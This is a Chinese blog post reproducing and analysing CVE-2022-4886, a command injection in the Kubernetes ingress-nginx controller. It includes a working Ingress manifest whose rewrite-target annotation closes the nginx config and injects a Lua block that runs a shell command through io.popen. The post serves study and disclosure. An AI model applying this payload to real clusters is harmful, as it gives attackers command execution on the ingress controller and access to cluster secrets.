当前位置: 首页 > article >正文

CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示 

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080


http://www.kler.cn/a/149019.html

相关文章:

  • Microsoft 365 Exchange如何设置可信发件IP白名单
  • 微服务架构面试内容整理-API 网关-Gateway
  • WebSocket和HTTP协议的性能比较与选择
  • 知识图谱6:neo4j查询语句
  • ML 系列: 第 23 节 — 离散概率分布 (多项式分布)
  • 鸿蒙next版开发:相机开发-元数据(ArkTS)
  • 设计模式—依赖倒置原则(DIP)
  • Android frameworks 开发总结之十一
  • 郑州数字孪生技术推进制造业升级,工业物联网可视化应用加速
  • YOLO改进系列之SKNet注意力机制
  • GitHub 2023排名前十的最佳开源项目
  • 微信小程序+中草药分类+爬虫+torch
  • Linux命令(136)之zcat
  • 芯知识 | 混音播报语音芯片的优势:革新音频应用的新力量
  • 使用 Mybatis 的 TypeHandler 存取 Postgresql jsonb 类型
  • 【数学】旋转矩阵
  • xv6 磁盘中断流程和启动时调度流程
  • Java中实现精度准确的浮点数运算
  • SpringBoot——模板引擎及原理
  • RK3568平台开发系列讲解(Linux系统篇)通过OF函数获取设备树中断信息实验
  • 2023年国赛试题:配置inux1 为 CA 服务器
  • Linux dd命令详解:如何从标准输入或文件中读取、转换并输出数据(附实例教程和注意事项)
  • 7.5 Windows驱动开发:监控Register注册表回调
  • Day09
  • using meta-SQL 使用元SQL
  • awk,sed都可以用号表示查找结果,给查找结果加括号反引号